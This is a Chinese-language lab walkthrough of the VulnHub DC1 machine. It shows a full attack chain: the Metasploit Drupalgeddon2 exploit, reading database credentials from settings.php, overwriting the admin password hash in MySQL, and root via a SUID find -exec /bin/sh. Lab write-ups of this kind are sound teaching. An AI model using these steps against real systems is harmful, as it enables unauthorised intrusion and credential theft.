一、实验概述
本实验以 VulnHub 平台上的 DC1 靶机为目标,完整演示一次从信息收集、漏洞识别、漏洞利用到权限提升的渗透测试全流程。DC1 是一台基于 Debian 系统的虚拟机,运行着 Drupal 7 内容管理系统,存在著名的 Drupalgeddon2 远程代码执行漏洞。通过本次实战,读者可以掌握渗透测试的标准方法论,理解常见漏洞的利用原理,并学会在真实环境中进行权限提升。
实验环境:
- 攻击机:Kali Linux(IP:192.168.5.133)
- 靶机:DC1(Debian 系统,运行 Drupal 7)
- 网络环境:同一局域网,通过 MAC 地址确认靶机 IP
实验目标:获取靶机上的 5 个 flag 文件,最终获得 root 权限。
二、第一步:信息收集——用 nmap 扫描靶机
2.1 nmap 是什么?
nmap(Network Mapper,网络映射器)是世界上最著名的端口扫描工具,也是渗透测试信息收集阶段的核心工具。它能够快速发现目标主机开放的端口、运行的服务、操作系统类型以及潜在的安全漏洞。在本次实验中,我们首先通过 MAC 地址确认靶机 IP 为 192.168.5.133,然后使用 nmap 进行端口扫描。
扫描靶机:
2.2 端口扫描
命令 1:快速扫描常用端口
nmap -T4 192.168.5.133- -T4:扫描速度等级,T4 表示快速扫描
- 默认行为:只扫描前 1000 个常用端口
- 不做:版本探测、脚本执行、操作系统识别
输出结果:只列出开放端口及对应的服务名(粗略)。
优点:速度很快,适合快速确认目标开放情况。
缺点:没有软件版本、没有系统信息、没有漏洞探测结果,报告信息偏少。
命令 2:全面扫描所有端口
nmap -sV -sC -O -p- 192.168.5.133- -p-:扫描全部 65535 个 TCP 端口(所有端口,而非默认的 1000 个)
- -sV:探测服务版本(例如 Apache 2.2.22)
- -sC:执行 nmap 默认脚本,搜集信息、进行简单漏洞检测
- -O:探测靶机操作系统(识别 DC1 为 Debian 系统)
输出结果:开放端口、软件版本、系统类型、脚本探测结果,信息完整,适合写实验报告。
优点:信息全面,为后续漏洞利用提供关键依据。
缺点:扫描很慢,-p- 全端口扫描耗时较长。
安全提示:在实际渗透测试中,建议先使用快速扫描确认目标开放情况,再针对特定端口进行深度探测,以平衡效率与信息完整性。
三、第二步:CMS 识别
3.1 什么是 CMS?
CMS(Content Management System,内容管理系统)就是"建站模板软件"。它提供了一套完整的网站内容管理解决方案,用户无需编写代码即可创建和管理网站。常见的 CMS 包括 WordPress、Joomla、Drupal 等。识别目标网站使用的 CMS 类型和版本,是渗透测试中至关重要的一步,因为不同 CMS 存在不同的已知漏洞。
3.2 怎么识别?
可以用浏览器访问 http://192.168.5.133,观察页面特征。Drupal 网站通常具有以下特征:
- 页面底部或源代码中包含 Drupal 版本信息
- 默认路径 /sites/default/ 存在
- 特定的 HTML 结构和 CSS 类名
此外,还可以使用专门的指纹识别工具,如 WhatWeb、Wappalyzer 等,快速识别 CMS 类型和版本。
3.3 顺便摸清网站目录
还可以用 dirb / dirsearch / gobuster 扫一下网站有哪些隐藏路径:
dirb http://192.168.5.133目录扫描可以发现管理后台、备份文件、配置文件等敏感路径,为后续攻击提供更多入口。在本次实验中,目录扫描结果确认了 Drupal 的安装路径,为后续读取配置文件奠定了基础。
四、第三步:查找并利用 Exploit(Drupal 漏洞)
4.1 什么是 Exploit?
Exploit(漏洞利用程序)就是"利用某个漏洞的现成攻击代码"。当发现目标系统存在已知漏洞时,可以使用现成的 Exploit 代码快速获取系统权限,而不需要从零编写攻击代码。Exploit-DB 是全球最大的漏洞利用代码库,Kali Linux 内置了其本地版本 searchsploit。
4.2 用 searchsploit 查漏洞
Kali 自带一个离线漏洞库 searchsploit:
searchsploit drupal搜索结果会列出所有与 Drupal 相关的已知漏洞及对应的 Exploit 代码。在本次实验中,我们重点关注 Drupalgeddon2 漏洞(CVE-2018-7600),这是一个影响 Drupal 7 和 8 的远程代码执行漏洞,允许攻击者无需认证即可在服务器上执行任意代码。
五、第四步:Metasploit 基本操作
5.1 Metasploit 是什么?
Metasploit(简称 msf)是全球最流行的渗透测试框架。它集成了漏洞利用模块、Payload 生成、后渗透工具等,是渗透测试人员的核心武器。Metasploit 框架支持自动化漏洞利用,大大降低了攻击门槛。
5.2 漏洞利用,MSF 拿到低权限 Webshell
1. 启动 Metasploit 框架
msfconsole2. 在 msf 里面搜索这个漏洞模块
search drupalgeddon23. 加载漏洞模块
use exploit/unix/webapp/drupal_drupalgeddon24. 设置靶机 IP
set RHOSTS 192.168.5.1335. 运行攻击
run成功后会看到 Meterpreter 会话建立(提示符变成 meterpreter >)。输入 shell 命令,就进入了目标机器的命令行:
meterpreter > shell Process 1234 created. Channel 1 created. whoami www-data此时我们获得了低权限的 Web 服务账户 www-data,这是 Drupal 运行所使用的系统账户。虽然权限较低,但已经可以执行系统命令、读取部分文件,为后续提权奠定了基础。
5.3 获取第一个 Flag
ls cat flag1.txt输出内容为:
# Every good CMS needs a config file - and so do you.
flag1 的内容是一句提示:"每个好的 CMS 都需要一个配置文件——你也需要。" 也就是说:下一个线索在网站配置文件里!
六、第五步:用 pty ,将低权限 Shell 升级为交互式伪终端 pty
6.1 为什么要升级?
普通反弹 shell 属于裸管道 shell,存在很多缺陷:
- 不支持
Tab键命令自动补全,输入命令很麻烦; - 无法运行
vim、nano这类需要交互界面的程序; - 没有信号处理,使用
Ctrl+C会直接把整个 shell 会话断开; - 没有终端大小、颜色等环境变量,部分命令执行异常。
利用 Python 的 pty 模块,把低权限 shell 升级成交互式伪终端(pty),模拟一个完整真实终端环境。升级之后: 支持 Tab 自动补全 ;可以正常使用 vim 等交互式编辑器 ;Ctrl+C不会直接断开 shell,只终止当前运行程序 ;完整终端环境,方便后续提权、操作靶机(普通反弹 shell 交互能力很差,不能 Tab 补全、无法运行 vim 这类交互式软件。升级 pty 伪终端,模拟完整终端环境,解决上述问题,方便后续在靶机中执行操作与提权。)
6.2 什么是 pty?
pty(pseudo terminal,伪终端)就是"模拟出来的真终端"。Python 自带一个 pty 模块,只要目标机器上有 Python,一条命令就能把裸管道升级成交互终端:
# 在拿到 www-data 的 shell 后,先看看有没有 python which python # 或 which python3 用 python 的 pty 模块生成一个交互式 bash python -c 'import pty; pty.spawn("/bin/bash")'执行后,Shell 就升级为完整的交互式终端,可以正常使用方向键、Tab 补全、su 切换用户等功能。这是后渗透阶段非常实用的技巧。
七、第六步:读取 CMS 配置文件,提取数据库账号与密码
7.1 什么是数据库配置文件?
CMS 的所有文章、用户、评论都存在数据库里。网站每次启动都要连数据库,所以"数据库的地址、账号、密码"必须写在一个固定位置的文件里——这就是配置文件(config file)。相当于网站的"钥匙串",一旦被攻破者读到,数据库就裸奔了。因此,读取配置文件是渗透测试中获取敏感信息的关键步骤。
7.2 Drupal 的配置文件在哪?
Drupal 7 的配置文件固定位于网站根目录下:sites/default/settings.php。我们直接去读:
cd /var/www/sites/default # Drupal 网站根目录 cat settings.php | grep -A5 'database'输出结果:
数据库:drupaldb,账号:dbuser,密码:R0ck3t或者直接用完整路径,不用 cd 切换目录,直接读取 settings.php:
cat /var/www/sites/default/settings.php或者用 tac 从末尾快速查看:
tac /var/www/sites/default/settings.php成功获取数据库连接信息后,我们获得了第二个 flag!
八、第七步:登录数据库,查询 Drupal 用户密码
8.1 登录 MariaDB(MySQL)
mysql -u dbuser -p回车后输入密码:R0ck3t
8.2 进入 drupaldb 数据库
use drupaldb;8.3 查询 Drupal 全部用户(重点命令)
SELECT name,pass FROM users;- name:网站用户名
- pass:加密后的哈希密码
8.4 退出数据库
exit;8.5 新建 Kali 本地 hash.txt
nano hash.txt把以下内容粘贴进去:
Fred:$S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg保存:Ctrl+O → 回车,退出:Ctrl+X
8.6 破解密码哈希
users 表里的 pass 字段不是明文密码,而是加密后的"哈希"值(如 $S$D... 开头,Drupal 特有格式)。常见的破解思路:
# 方法一:把哈希保存到 hash.txt,用 john 暴力破解 john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt这个方法对于当前实验进度太慢了,先换一种方式。Drupal 的密码哈希算法是加盐的 SHA-512 变体,暴力破解需要大量计算资源。因此,我们采用更高效的思路——直接修改数据库中的密码哈希。
九、第八步:数据库渗透——修改管理员密码
9.1 利用 Metasploit 获取数据库访问权限
在获得数据库账号密码后,我们可以尝试直接登录 MySQL。但更高效的方式是利用 Metasploit 的数据库渗透模块:
1. 选择漏洞模块 use 1 设置对象并运行 show options # 查看配置 set rhosts 192.168.5.133 # 设置攻击对象 run # 运行测试漏洞成功获取到 meterpreter 的 shell。
9.2 数据库渗透
接下来利用获取的信息尝试登录 mysql:
# 查看数据库的表 use drupaldb; show tables; 查看表的数据 Select * from users;9.3 使用 password-hash.sh 生成新密码哈希
退出 mysql,在当前目录中的 scripts 目录中存在文件 password-hash.sh 用于加密密码:
cd scripts; ls; cat password-hash.sh使用该脚本生成新密码的哈希值:
cd .. # 退回 /var/www 目录再执行脚本 # cd .. 是返回上一级,从 /var/www/scripts → /var/www php scripts/password-hash.sh 123456脚本会输出一个加密后的哈希值,例如:
$S$DvTWrKx4PY7UNFdAnK5K543/pw.6s7v0I3t248OWVMM3mzkjWLAV9.4 登录 MySQL 修改 admin 密码
mysql -u dbuser -pR0ck3t回车,进入 mysql,提示符变成 mysql>。
2. 选择数据库 use drupaldb; 执行 UPDATE 修改 admin 密码 update users set pass = "$S$DvTWrKx4PY7UNFdAnK5K543/pw.6s7v0I3t248OWVMM3mzkjWLAV" where name='admin';修改成功后,使用新密码 123456 登录 Drupal 后台 http://192.168.5.133,找到第三个 flag!
flag3 的内容提示我们需要提取获取 shadow 里的文件,这为下一步权限提升指明了方向。
十、第九步:权限提升——利用 SUID 提权获取 Root
10.1 查看哪些命令具有 SUID 权限
find / -perm -u=s -type f 2>/dev/null作用:找出系统里带 SUID 的程序,这里能看到 /usr/bin/find,代表 find 可以用来提权。
找到find命令,利用find进行提权
find / -name index.php -exec /bin/sh \;出现#,root提权成功
原理:find 被配置了 SUID 权限,执行 -exec 参数时,会以文件所有者(root)身份执行后面的 /bin/sh,直接弹出 root shell。
获取到flag4
关键字查找flag
find / -name "*flag*" 2>/dev/nullcat /root/thefinalflag.txt找出最终flag!
文中部分内容借助资料辅助整理,本人对部分原理理解尚有不足,内容仅用于个人学习交流,不构成任何攻击指导。